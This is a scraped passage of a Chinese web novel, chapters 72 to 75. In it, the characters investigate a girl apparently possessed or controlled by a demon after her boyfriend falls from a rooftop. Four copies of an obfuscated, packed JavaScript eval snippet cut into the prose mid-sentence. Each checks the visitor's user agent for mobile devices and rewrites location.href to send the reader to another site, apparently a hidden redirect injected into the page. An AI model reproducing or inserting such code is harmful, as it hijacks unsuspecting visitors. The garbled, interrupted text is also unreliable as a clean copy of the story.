“林眠!” 他一边喊着一边朝沙子堆上爬去。 林眠原本正在往前走,突然停了下来,但也仅仅停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056129|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一秒钟的时候,就接着往前走。就在快靠近边缘的时候,被瞿木一把拉住。 “你在干嘛?”瞿木气喘吁吁地拉过林眠,问她。 林眠的表情很是呆愣,眼神无光。 瞿木发现了不对劲,拉着林眠左看右看,并一直喊她:“林眠,林眠,你醒一醒。” 但喊了好多声,林眠依旧是呆呆的,也不说话。 瞿木看了看周围,没有其他人的身影,但林眠这个样子,肯定和那个方艾脱不了干系。他直接打电话给了秦宁。 “秦宁,你快过来,林眠出事了。” “我把地址发给你,总之你快点过来。” 瞿木一边拉着林眠,一边和秦宁说完后就把电话挂了。因为林眠就跟机器人一样,拉住她了,她还想着往前面走。 “菌丝怎么不出来管管啊?”瞿木在这拽着林眠抱怨说,“好歹这是你的宿主,怎么也得管管吧?摔死了怎么办?” 突然,林眠不动了。 “你醒了?”瞿木发现林眠不动后,连忙看着林眠的脸仔细打量,问她。 “醒了。”林眠开口说道,并看向放在自己手臂上的手。 瞿木见她看着自己的手,便连忙收了回来,问她:“你刚刚是怎么了?差一点你就摔下去了。” 他说着,低下头看了眼下面的一堆工具,这沙子堆虽然看着软,但高啊,摔下去肯定落不着好。 “被控制了。”林眠解释说道。 “谁?那个方艾?”瞿木知道林眠是被方艾带走的。 “不是她。” “那是谁?” 林眠转过身往回走,并说:“无支祁。” “啊?无支祁来的这么快。”瞿木跟上林眠的步伐,走到她旁边说,“它已经从海底出来了?” “没有,是它收编的手下。”林眠回答道。 “哦,劳老太还是况衍君,还是……”瞿木说着说着,猛地看向林眠,指着她说:“你不是林眠!” 林眠怎么可能知道这么多!而且语气也不太像。 林眠停下脚步,侧过头看着他,没说话。 “你…你,你是菌丝?”瞿木咽了口口水,问道。 还没等到回答,他就看到林眠歪着头看着自己,问:“你在说什么?” 林眠感觉自己刚刚看着瞿木嘴巴一张一合的,声音也听到了,但对说话的内容一点都听不懂,就像是在听外语一样。 “我感觉我精神好像不太好,耳朵都不好了。”林眠晃了晃头,说。 瞿木被这转变给惊到了,一时之间他都不知道怎么回答林眠的问题。 “我们来这里做什么?回去吧,还要给秦宁带点吃的。”林眠说着,就往下走,这里都是软软的沙子,她下去的时候极为小心。 瞿木无语看天,但还是很快的跟上林眠的步伐。 两人下了沙丘。 林眠看着这片空旷的荒地,愣了下神,随后低下头,细细地想了想,又回过头看着瞿木,欲言又止。 “怎么了?”瞿木还在犹豫着要不要告诉林眠刚刚的事,因为他发现,在林眠的眼里,这似乎只是一段有些模糊的记忆。 林眠摇摇头。 而他们走到马路边的时候,刚好和秦宁撞上了。 秦宁来到这儿,第一步就是把一张符咒贴在林眠的脑门上。 72. 张峭之死 符咒被紧紧地贴在林眠脑门上,不仅林眠没反应过来,瞿木也没反应过来,三个人面面相觑,还是秦宁率先开口。 “林小姐身上并无邪祟之物。” 话毕,他将符咒从林眠脑门上摘了下来。 林眠揉了揉额头处,有些委屈地看了眼秦宁,又看向瞿木,说:“这是做什么呀?” 秦宁也看向瞿木,问:“这是怎么回事?” 瞿木被他们两个人看着,舔了舔嘴唇,挠了挠头,说:“唉,这个事……” “我们边走边说吧。” 他可不想继续待在这儿。 回去的路上,他和秦宁林眠说了刚刚发生的事情。 “就是这样,我是觉得很奇怪,刚刚林眠那个样子,肯定不对劲,跑到那么高的沙丘上面,要是摔下来,肯定会出事。”瞿木摇摇头,还有些后怕,庆幸自己赶到的及时。 “嗯,这么说,林小姐那会儿确实是不正常。”秦宁听了也觉得,并问:“你那会儿真的见到了菌丝?” 关于这一点,瞿木很确定地点头,“肯定,她和我说了,是无支祁的人做的这件事,但叫林眠出去的是方艾,所以我怀疑那个骨妖还在方艾身上,除非……” “除非方艾也被无支祁收编了。” 秦宁点点头,大概了解了。他侧过头问在发呆的林眠,“林小姐,你一点儿都不记得了吗?” 林眠刚刚听了瞿木说的,正在努力回想,见秦宁问她,便说:“我记得我去卫生间洗手,洗完手出来看到了方艾。” “是不是这个方艾搞的鬼?”瞿木插话说。 秦宁没否认,示意林眠接着说。 林眠咬着下唇回忆:“当时方艾不是很正常,她面前明明没有人,但是…她面前好像又有人,他们在说话。” 说着,林眠拍了拍自己的脑袋,她明明有记忆,但是…总感觉十分的模糊,越往后越模糊。 “我之后跟着方艾出去了,再之后……” “我不记得了。” 林眠有些愁苦,她发现自己对那一段一点记忆都没有。 “不记得就不记得了,你别难为自己。”瞿木对林眠说道,并拉下她的手,让她别拍脑袋了。 秦宁心里大概有数了,便说:“我们今天才见了方艾,晚上就发生这样的事情,实在有些奇怪。” “但也不急,明天一早我们就去找方艾,我和文忱打听到了方艾的地址。这里都是别墅群,大家虽然不太熟悉,但还有个有印象,姓方的只有一户人家。 “还有,方艾的男友张峭,我去网上查了。” “怎么样?”瞿木连忙问,他刚刚吃饭的时候,都把这件事忘了。毕竟比起方艾的事,那还是无支祁的事更加占据他的注意力。 秦宁打开搜索界面,给他们看:“并搜不出张峭这个人的死亡信息,这和方艾说的不符。” “她骗我们?”林眠不可置信地问道,“方艾…明明那么伤心,还哭了。” “总之,方艾说张峭死了,还上了新闻,但是我搜索不到,换了好几个网站都是。”秦宁将手机收起来。 瞿木也想不通,问:“方艾为什么撒谎?这不是一下子就能被拆穿吗?” 即使是撒谎,这也是最差劲的谎言。 当然,他当时也没去查,主要是都忙着无支祁的事,方艾的事自然就搁置到一边了。 回到文家,时间已经不早了。 林眠感到有些困了,就自己挑了间房间去睡。文叔说这里的房间都打扫干净了,可以入住。 瞿木倒是不怎么困,感觉今天发生了很多事情,他也没心思睡觉,就陪秦宁在这个书房里找书、看书。 他要洗涤自己的心灵。 他一定是前世做了坏事,这辈子才要受苦。 于是,这一晚上,他睡在了书房。 第二天天一亮,他就被秦宁叫醒,拉上林眠一起去找方艾了。 方艾家离文家不算远,也就隔了一个湖的距离。 到了方家门口,秦宁按了一下门铃,没几秒就有人出来开门。 开门的是一个中年妇女,她正穿戴着工作服,擦了擦手,问:“你们是?” “我们来找方小姐,方艾。”瞿木率先回答。 “哦,你们是小艾的朋友啊。”妇女点点头,有些疑惑地说:“可是小艾今天一大早,天还没亮就出去了。” “她没和你们说吗?” 大家伙一听,互相对视一眼。 瞿木接着问:“她有说去哪里吗?” “这倒没有。”妇女回答的很快,同时打量着面前的这三个人,看穿着打扮,像是这里住的人,只是…自己从来没见过他们。 “谢谢。”瞿木和她道谢后,便拉着林眠他们离开方家门口。 走在一个视角盲区的地方,他才停下来,说:“现在怎么办?在这里等她回来?” “现在才八点,她出去这么早做什么?”林眠说道。 “早知道,我们就应该昨晚来找她。”瞿木觉得对方肯定是畏罪潜逃了。 秦宁摇摇头,“不会,方艾我们昨天见过,她那会儿顶多就是被骨妖缠住了,而且我用了符咒,骨妖肯定没法再触碰她的身体。” “那就是这个方艾本身就有问题?”瞿木猜测着说。 “总之,还是先找到方艾。”秦宁想了想说。 瞿木一听,索性直接倚靠在墙上,说:“那就在这蹲着呗,她还能不回家?” “嗯。”秦宁点头,“你在这儿蹲着,我去另一个地方。” “去哪?”瞿木立马站直身体,只让他和林眠在这里…打不打得过对方啊? 秦宁看了眼瞿木和林眠,说:“有个地方我很在意,但又不确定,所以我去那儿看看,你们在这里守会儿。” 他说完,就急匆匆地离开了。 留下林眠和瞿木面面相觑。 “那只能我们……”瞿木话还没说完,就被林眠打断了。 “我想回一躺酒店。”林眠直接开口说,“菌人还在那里,我们两天没回去了,它会饿的。” 瞿木张了张嘴,别说,他都忘了这茬了。 可现在这里也不能离开,他便点点头,答应了,也叮嘱林眠:“你这次遇到别人,不是特别熟悉的,你不然跟着对方走啊。” 他害怕又出现昨晚那样的事。 “知道啦。”林眠用力地点头,她不会上第二次当的。 瞿木还是不放心,拿出手机给林眠打车,并说:“你等一下,我给你打辆车,你直接坐车过去,再坐这辆车回来。” 林眠都听瞿木的吩咐,她只要目的达到了就行,把菌人带到文家来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067821|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车子到了,瞿木把林眠送上车,和司机说了几句才让他们离开。然后他才找了个阴凉地蹲着,并给赵阳博发了几条消息过去。 太久没回北城了,他都有些想念自己那群朋友了。 另一边,秦宁通过线索,找到了张峭的家。 张峭的家在一片闹市中,烟火气十足,周围一眼看去,都是商铺,这个点都开着门,有不少客人,十分的热闹。 秦宁抬头看了看周围,他拿到了地址,但是这里的房子都是握手楼,且巷子多且复杂,他一时之间也不知道该走哪条道路进去。 但肯定就在这些楼的其中一栋。 就在秦宁准备查看前面几栋楼的门牌号时,突然发现周围的人群躁动了起来,纷纷聚在一起抬起头往上看。 秦宁本想不多管闲事,但这人群都挤在一起,他也难免抬头去看了一眼。 正是这一眼,让他看到,站在楼顶上的一个男生,正是张峭。 张峭站在楼顶处,脸色灰白,正低着头看着下面,但他浑身都在颤抖,一只手还紧紧抓着一旁的栏杆。 有人正在打电话报警,现在乱糟糟一片。 秦宁看着楼顶上的张峭,下一秒,他意识到什么,推开人群想朝那栋楼跑去,但显然已经太迟了。 “嘭”的一声后,现场开始有人尖叫。 秦宁停下脚步,咬着后牙槽,没有回头去看张峭的死状,只是抬起脚朝那栋楼走去。 这栋楼的居民都出来了,他们聚在门口处,胆战心惊地讨论着刚刚的情况。 秦宁快爬到楼顶的时候,就被几个人拦了下来。 “年轻人,你上来做什么?快下去快下去。”一位年纪大的阿伯拦着秦宁,让他别到那上面去。 秦宁没有离开,只是站在楼栋和楼道连通的门处,看着天台上哭的撕心裂肺的方艾。 “唉,小情侣产生争执了。”阿伯见秦宁没有往前,便也没有一直伸手拦着,只是语气惋惜地说着,“这多好一个男孩啊,又努力,怎么就是…想不开。” 秦宁一直死盯着方艾看。 没过多久,警察、救护车、消防队都来了。 方艾被带着离开了。 秦宁在楼道站了许久后,才离开。 而在方家旁边。 瞿木正在百无聊赖地刷着手机,点开附近的时候,竟然发现梧州有人跳楼了,还有不少人发出死状,血淋淋一片,整个人都快摔成肉泥了。 “咦。”瞿木连忙把这个视频关了,看的他全身发凉。 大概不到一个小时,林眠就回来了。她拿着菌人坐到瞿木身旁,说:“它真乖,就在酒店等着我。” “嗯。”瞿木没好气地点点头,这玩意就不知道能干嘛。 “方艾回来了吗?”林眠一边给菌人喂蘑菇,一边问。 瞿木摇摇头,“这都快中午了,估计要晚上才能回来。” “好吧。”林眠点点头,说:“要不我用菌人进里面看看?” 菌丝也可以,但是菌丝容易被发现,菌人灵活一些。 瞿木可没有秦宁那么多道德感,而且经过昨晚的事,他觉得这个方艾问题很大,趁现在人不在,说不定能发现点什么。 想到这儿,他立马赞同了。 林眠见他同意后,就让菌人进到方家里。 73. 操纵术 菌人这次进出的很快,短短十几分钟,就回到林眠的手中了。 “这次这么快?”瞿木看着菌人这么快出来,“这好好看了么?” “等下,我看看。”林眠捧住菌人,闭上眼睛,感受着刚刚菌人所看到的一切,然后给瞿木描述了一下。 看下来后,林眠想了想,说:“没有什么奇怪的。” “确实,听你这描述,”瞿木想了想,“这方艾家肯定是暴发户,这装修水平就是冲着金碧辉煌去的。” “可是看着就很有钱啊。”林眠说道,里面看着就闪闪的。 瞿木挑眉,“我家看着就没钱吗?” 林眠想了想,有些谨慎地说:“不够闪,你家里都是黑白灰,我看不出来。” 瞿木一听,这不就是说他家里装修的不好么? “你不识货。”瞿木反驳说,“那个沙发,我买了上百万,还有那些家具,都是我精挑细选的,哪样不比方家强啊?” “而且,我好歹也是学设计的,你…竟然还怀疑我的审美!” 林眠眨眨眼,然后把嘴闭上了,扭过头不去看瞿木。她…还是喜欢金光闪闪的东西,看着就舒服。 可能因为她还是太穷了。 瞿木原本还有点气,但看着林眠这样子,就笑了起来,说:“好了,不说你了,下次给你个房子,你自己布置行不行?” “你上次还说要送我车,你都还没送,现在又说房子,你这是给我画饼。”林眠还是没回过头,有些气鼓鼓地说。 “你还懂画饼啊?”瞿木有些惊讶,林眠连画饼这个词都会用了。 林眠回过头来,“那当然,我才不是老古董。” “你当然不是老古董,秦宁那家伙才是。”瞿木回答的很快,但他说完,林眠却不说话了,还往自己身后看,他问:“怎么了?” 瞿木边问边回头,一回头就和和秦宁面对面。他尴尬的扯了扯嘴角,笑着打招呼说:“你回来了。” 秦宁没搭理瞿木,走到一边说:“我们回去吧。” “啊?”瞿木疑惑。 “不等方艾吗?”林眠问。 “方艾现在在医院。”秦宁说着就往前面走。 林眠和瞿木也赶紧跟上,林眠还是挺关心的方艾,问秦宁:“怎么会在医院?出事了吗?” “张峭死了。”秦宁说道。 “啊?”瞿木愣了一下,“怎么死的?” “跳楼。”秦宁意简言骇。 此话一出,林眠和瞿木都沉默了。 瞿木想起自己刚刚在手机上看到的跳楼视频,因为画质有些压缩,再加上他也不怎么敢看,根本没看清跳楼的人的脸,没想到是…张峭。 “张峭跳楼有蹊跷,而且,方艾就在楼顶上。”秦宁已经平复过来了,说这话的时候,语气就像是公事公办一样。 瞿木没什么想说的,因为他看过视频了,特别是自己见过的人,他就浑身不自在。 “那,方艾早在昨天就说了张峭死了,还上了新闻,但实际上是今天发生的。”林眠思考着说。 “对,而且方艾也在现场。”秦宁就是对这个感到疑惑。 当时在楼顶的只有方艾和张峭,然后张峭跳楼身亡,这和昨天方艾说的张峭死了相符合。他在警察来了之后,还在楼道里待了许久,也看到了张峭父母,从他们口中得知,张峭是个非常不错的人,而且十分阳光开朗。 总结就是,不像是会跳楼的,也没有抑郁倾向。 林眠垂下眼,那所有的问题,就在方艾身上。 “那个方艾怎么回事啊?昨天见的时候,你不是说她还是人吗?还给了符咒。”瞿木在旁边有些无奈地说。 “或许就像劳老太一样,明明不是人,但是却没有妖气。”林眠也只能这么想,毕竟劳老太那会儿,秦宁也看不出来。 秦宁没出声,劳老太的皮囊还在车子的后备箱里。 到了文家,大家伙坐了下来。 文忱进来的时候,提着一堆吃的过来。一进来,就看到他们三个死气沉沉的,便说:“刚刚老爷子已经前往五华山了,在那里和秦柳两家汇合,也会有一些别的门派过来。” “嗯,希望能解决吧。”瞿木瞥了眼文忱,说。他说完又想起文忱是林眠的亲叔叔,便不着痕迹地坐直了。 怎么也要在林眠亲人面前有个好形象。 “无支祁的人一直在暗处,为了安全起见,还是留在这儿比较好些。”文忱说道,至少在文家,他能保证大家的安全。 林眠对无支祁还没有什么实感,只是问:“它会来找我们吗?” 文忱笑着回答:“它会的。” 林眠顿时闭上了嘴巴。 “不是它亲自来,他收编的那些妖物也会来。”文忱接着说。 “那个方艾是不是?”瞿木突然想到这个,“这个方艾之前就想害林眠,我觉得她就是被无支祁操控了。” 文忱一听,觉得有些蹊跷,便问:“方艾是谁?” 瞿木给文忱解释了事情的来龙去脉。从云泉酒店开始说起,再到今天的事,他都说的一清二楚。 “这样。”文忱思考了一下,“也许,这个妖物不是骨妖呢?” “那会是什么?”秦宁不解,这个妖物的行为基本上符合骨妖的特征,只是有一些不太一样,但总体上还是可以认为是骨妖。 林眠听着他们说话,视线已经漂移到一旁的食物上了,袋子里都是一些零食什么的,看着就很好吃。 她趁着大家不注意的时候,伸出手拿了一包,然后小心翼翼地打开包装,尽量不发出声音,避免影响他们讨论。 “嵌合体。”文忱回答说。 “这是什么?”秦宁还是不解,从来没听过妖物还有嵌合体。 文忱看了眼跟仓鼠偷食一样的林眠,问他们:“一只妖物把另一只妖物给吃了,会怎么样?” “死了。”秦宁说。 瞿木说:“融合了?然后获得对方的能力?” “那自然是死了。”文忱说。 瞿木顿时想给文忱一拳,但碍于他是长辈,只能忍着,“呵呵”一声。 “如果妖物吃掉妖物,就能获得对方的能力,那自然会引起妖物之间的厮杀,毕竟妖物也有自己的思想,它们也会强者为王。”文忱慢悠悠说道,并且再问:“如果人吃掉了妖物呢?会怎么样?” 这个问题,秦宁沉默了。因为没有过这样的案例,且什么样的人有能力吃下妖物? “那不也死了?人的胃部消化系统还是很顶的。”瞿木在旁说道。 林眠已经吃着东西了,两只眼睛在他们身上转来转去,她也听的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081094|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很认真,还想听文叔接着往下说。 “呵呵。”文忱轻笑道:“没有人愿意被吃,也没有妖物愿意被吃。这必然是对双方都不好的结果。” “但是,如果让人吃了妖物,再加以术式,人和妖物便结合在一起,人的魂魄与妖物结合,两者无法分离,就会一直争抢身体的控制权,这就是我们说的嵌合体。” 文忱说到这儿的时候,眼神凌厉了一下。 “嵌合体身上没有妖气,这对于除妖师来说,不是很好辨认,但嵌合体的行为不正常,就像是精神病人一样,时好时坏。这是因为,他们在反抗身体里另一位,也在反抗操控术式的人。” 秦宁从未听过这一个说法,也不知道有这样的术式,便问:“这是谁研究出来的?” 他一问,瞿木和林眠都看着文忱。 文忱没有回答这个问题,将话题又回到方艾身上,说:“方艾很可能就是这种情况。看着是人,但其实是被操控的。” “她,抑或是身体里的妖物,都受控于术式。” 秦宁见文忱回避,心里有了个想法,他顺着文忱的话问:“那要如何破解?” “找出操控之人,让他把术式解开就行了。但只能解开操纵的术式,没法让人和妖物分离出来。”文忱说道。 说完,文忱也不准备多说了,和他们说了声就离开了。 林眠拿着零食目送文忱离开后,才问:“我们去哪里找?” “不知道。”瞿木肚子也饿了,拿了包零食也开始吃。 秦宁说:“这种操控之术,操控之人必须要离的近才行,这样术式效果才更好。这也就说明那个人就在梧州。 “而我们遇到这样的事,是在云泉酒店。” “对方在云泉酒店的时候就盯上我们了!”林眠快速抢答。 瞿木瞪大双眼,“那会是谁?无支祁的手下?” “那也只有一个人了。”秦宁说道。 “谁?” “谁?” 瞿木和林眠异口同声问。 “况衍君。”秦宁说完,还侧过头看向门外,“他现在也一定就在这附近。” 瞿木浑身一个激灵,搓了搓身上的鸡皮疙瘩,“你别说这么吓人的话啊。” “他…为什么要杀我?”林眠还是不太信,有些犹豫,因为…她觉得况衍君不会伤害自己,虽然自己和他不是很熟,但就有种这样的直觉。 昨天方艾的事,根据瞿木所说的,对方摆明就是想杀了自己。 “但知道我们的行程的,也只有他了。”秦宁说道,“而且我们返程的时候,到云泉酒店就很蹊跷。” “明明有那么多的路,偏偏走了途径云县这条,偏偏还只有云泉酒店可以入住。”秦宁直接把话说出来,这其中…明显不太对劲。 瞿木听着秦宁说的这些,反驳说:“路线是我定的,车是我开的,难道…我是故意的吗?我明明最不想经过云县了。” 说完,他又没底气了,因为他也想不明白,自己…为什么会走这条路线……而且,还一点怀疑都没有。 他不免看向林眠,当时林眠订的云泉酒店房间。 瞿木和林眠两个人对视了一眼,他们都清清楚楚的记得那天的事。就连林眠回想之后,也忍不住问秦宁:“难道那会儿,我和瞿木都被操控了吗?” 74. 探访方艾 林眠感觉自己那会儿意识很清醒,她就是不小心点了一下,然后就买到了。 相比于他,瞿木就要迷茫得多。他现在想不明白,自己可以开别的路,为什么要往云县这条路开? “操控之术是文家的特长,上一次林小姐和文叔见面的时候,不就是不知不觉就被操控了吗? “而无支祁那边,我们只知道有况衍君和劳老太,他们会不会操控之术我们也不清楚。” 秦宁一字一字解释说:“但这一路上太蹊跷了。” 瞿木两手一摊,说:“反正不管怎么样,我们都被盯上了。” “我看我们还是别出门了,昨天他们都能控制住林眠了,我们现在就差是砧板上的鱼肉,任人宰割。” 林眠没出声,她还是有些不太相信。 恰好,菌人从林眠的包里跑出来,蹭了蹭林眠的手。这个举动一出,林眠就知道它饿了,给它搓了个蘑菇。 “对了,菌人的事要不要告诉文叔啊?”瞿木问道,之前他们没说这件事。现在住在这儿,且文家提供了不少信息。 秦宁看了眼菌人,回想起自己之前做的实验,显然自己在这方面有些欠缺,并没发现什么。也许文家知道菌人,可以发现更多,便点点头说:“也好。” 林眠捧着菌人,睁着一双大眼睛看着他们。 “现在也知道了有人操控,下午我们分工合作,我去找操控之人,你们去找方艾。”秦宁分配完任务,就准备出去了。 “你去哪啊?”瞿木问。 “出去看看。”秦宁说完,人就不见了。 林眠看着瞿木,说:“我们先吃饭吧,吃完饭再去找方艾。” 瞿木抿着唇,他还在心里想着,这个时候不出门才是最好的吧?但方艾现在应该在医院还是警察局。 “行。”瞿木点头。 两人就去附近找了家饭店,吃饭的时候,瞿木一直在刷新新闻。 现在距离张峭跳楼才过去几小时,已经有不少新闻报道了,网上也有不少人发出现场照片和视频,还有什么附近的居民也在说。 “这上面说,张峭和方艾是情侣,这里整条街的人都知道,说他们很恩爱,现在方艾还目睹了张峭的死,肯定大受打击。”瞿木把手机递给林眠看,上面的知情人士爆料。 林眠看了几眼,说:“主要是,方艾提前一天就知道了张峭的死,还说出让我们去搜索、看新闻。” “嗯,我觉得张峭的死和方艾脱不了干系,刚好方艾又在现场。”瞿木想了想,他有一事不太明白,“即使方艾被操控了,那为什么要杀张峭?” “无支祁的目标应该是你体内的菌丝,还有我身上的银木,它杀一个普通人张峭做什么?” 林眠刚刚往嘴里塞了一大口饭,正鼓着腮帮子在咀嚼。她也想不明白,文叔说过,人吃了妖物,人和妖物之间被术式控制,也会抢夺身体的控制权。 “难道,是方艾想杀了张峭?”林眠将饭咽下去后,问。 瞿木愣了一下,他皱了一下眉:“为什么啊?这都说他们两个感情好,每天一起去上学呢,在学校里,还是校园公认的模范情侣呢。” 林眠不懂这些,只是从逻辑上想,她解释说:“因为按照文叔说的,方艾已经和妖物融合在一起,她和妖物会抢夺身体控制权。” “妖物没有理由杀张峭,操控身体的人的目的应该是我们,也不会去杀张峭,那…就只有方艾了呀。” 林眠越说越觉得有有道理,“方艾抢到了身体的控制权,然后就去杀张峭,所以我们就看到了张峭从楼上摔下来。” 瞿木还是不太相信,说:“他们关系那么好,还是热恋期的情侣,在云泉酒店的时候,两人看起来就很恩爱啊,方艾有什么理由杀张峭?” 这个问题,林眠也没法回答。她又往嘴里塞了一大口饭,吃着吃着,她回想起今天在方艾房间里看到的,说:“你说的也有道理,方艾的房间里有很多她和张峭的合照,都是笑着的。” “可是,那个妖物、还有无支祁的人,为什么要去杀一个普通人呢?” 瞿木也想不明白,摆摆手,说:“不管了,等吃完饭,我们去找一下方艾,看看能发现点什么吧。” “也不知道秦宁去哪儿了。”瞿木嘟囔着说,他和林眠毕竟实力不高,没有秦宁在,就他们两个去找方艾,他心里还是有点慌。 林眠点点头,埋头吃饭。 等吃饱后,再休息会儿,已经下午两点了。 瞿木看着外面的太阳,缩了缩身上的衣服,已经进入12月了,天气越来越冷了,再过不久,就要下雪了。 林眠就不是很怕冷,出了餐厅,她还开心的小跑了一段路,一看就精力十足。 “那你小心点,别摔了。”瞿木在后面喊。 “不会的。”林眠一吃饱,心情就异常的好,感觉浑身都力量。 两人打听了一下,找到了方艾所在的医院。 “人好多啊。”林眠站在医院附近,看着门口一群人,还有不少人举着相机。 瞿木看了眼,说:“都是记者。” 毕竟张峭死的蹊跷,且他的同学什么的都出来证实张峭平时为人热情、积极向上,不可能会自杀。 当然,瞿木知道的这些都是在网上的“知情人士”说的,现在最主要的就是现场的方艾怎么说。 “走吧。”瞿木说。 医院门口有不少保安在,得有挂号才允许进去。 好在瞿木聪明,来之前,他就找了文忱,让他帮自己弄个号进医院。只是文忱是不是故意的?那么多科不挂,给自己挂的肾内科! 进了医院,瞿木也没去取号,而是带着了林眠找了找。 也不难找,基本上搜一下,就找到了。但也没法靠近,因为还有警察围在那里。 “现在怎么办啊?”林眠低声问瞿木,那里有三个警察在门口坐着。 “等会儿吧。”瞿木也没法子,他总不能在警察眼皮底下进去。只得和林眠坐在另一个角落里,时不时观察那边的动静。 警察在房间里面进进出出,弄来弄去,不知不觉已经到了傍晚了。 林眠已经坐在椅子上睡着了。 瞿木给秦宁发了消息,迟迟没收到回复。 等到六点后,警察终于离开了,但方艾的父母来了。 瞿木看了看时间,直接起身去敲了敲方艾病房的房门。林眠站在旁边,揉了揉眼睛,她实在是有些困。 打开门的是方艾母亲,她看到面前这两个人的时候,下意识以为这是方艾的朋友,便说:“方艾现在精神不是很好,改天再来吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093491|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞿木抬起头,看着病房里面的方艾,看起来确实精神不是很好,脸色发白,嘴唇颤抖,看起来非常的不好。 可他还是不太想放弃,对着方母说:“阿姨,你就让我们进去和她说句话吧,或许能让她好一些。” “这件事方艾也是受害者,她不应该这样。”瞿木说道,“我们和方艾是学校里的好朋友,这次她出事了,我们听了心里也难受,唉。” 林眠在旁边看着瞿木,听着他张口编的瞎话,眼底都是惊讶。 方母听了,回头看了眼自己的女儿,说:“等一下,我去问问。” 她走到方艾面前,低声问了她几句。 只见方艾抬起头来,看向门口处的两人,沉默了片刻,才点了点头。 瞿木也没想到方艾会同意,也不知道方艾现在是真的方艾、还是妖物、还是那个操控的人。但事已至此,他和林眠也只能硬着头皮走上去。 方父方母没有离开病房,但也退到了一边,正在收拾东西。 “方艾,你还好吗?”林眠率先开口问。 方艾看着林眠,伸出手擦了擦脸上的泪痕,挤出一个笑说:“我还好,谢谢你们来看我。” 林眠连忙给她递上纸,一时之间也不知道该说些什么。 方父方母在旁边听到他们的话,心里也放心了一些,看来真是方艾的朋友,而且关系还不错。 瞿木瞥了眼方艾父母,说:“秦宁他有事没来,晚点他也会来看看你。” “谢谢。”方艾回答,她突然又想到了什么,说:“我这两天好像不太对劲,身上不疼了,但…” 她没接着说下去。 瞿木和林眠知道她这话是接昨天的话说的,昨天秦宁给了她符咒,说可以防止身上的疼痛。 “没事,不疼了就行。”瞿木回答道。 他也有些疑惑,方艾现在的模样就像个小姑娘,看不出有什么问题。 恰好这时,方父方母过来交代了一声,就出去了。 趁着这个时间空隙,瞿木开门见山地问:“张峭是怎么死的?” 方艾没想到瞿木他们态度变得这么快,仰起头有些茫然地看着他们:“张峭…他…我不知道!” “你当时就在楼顶上。”瞿木紧紧地看着方艾,试图从她的脸上发现端倪。 可方艾一听到,又哭了起来,瞬间成了小泪人。 林眠看的都有些于心不忍,连忙又扯了几张纸给方艾,方艾反而哭的更加大声了。 这弄得瞿木有些无奈,不知道的人还以为自己欺负她了,而且方艾这哭的也太真情实感了,瞿木都开始怀疑文忱说的了。 说不定,是他们弄错了,方艾顶多就是…遇到了骨妖,并不是什么嵌合体。 最后,瞿木和林眠趁方父方母还没回来的时候,离开了病房。 “什么都没问到。”瞿木说道,“也什么都没发现。” 林眠抿着唇,说:“她看着好可怜啊。” “你不要被迷惑了,想想昨天的事。”瞿木还是心有余悸,这句话不仅是告诫林眠,也是告诫自己。 出了医院的时候,已经天黑了。 两人先去吃顿饭,再回到文家。 回到文家的时候,秦宁还没回来。再等到睡觉的时候,秦宁也没回来。 75. 大材小用 林眠洗了个澡,回到房间里,躺在床上,翻滚了几下,没有睡意了。她下午在那等的时候睡的太多了,现在就睡不着了。 她玩了一下菌人,想起前几天看的那本日记,自己还没看完,就又跑到那间卧室里,把日记找出来,带回房间看。 这本日记其实很厚很厚,基本上记载了妈妈在文家到离开文家的全部过程。 林眠翻开自己上次看到的地方,一字一句地开始看起来。 瞿木今天奔波了一天,一躺在床上就睡着了。 第二天一大早,瞿木就醒来了。他伸着懒腰去洗漱,看了眼手机,秦宁给他回了信息,他才放心一些。 等他弄完一切,才去敲林眠的房门。 “林眠,醒醒,太阳晒屁股了。”瞿木在门口敲了敲。 大概两分钟后,林眠才打开房门。 瞿木一看林眠这副模样,问她:“你昨晚熬夜了?黑眼圈都有了。” 林眠摇摇头,语气有些沉闷地说:“我去洗漱了。” 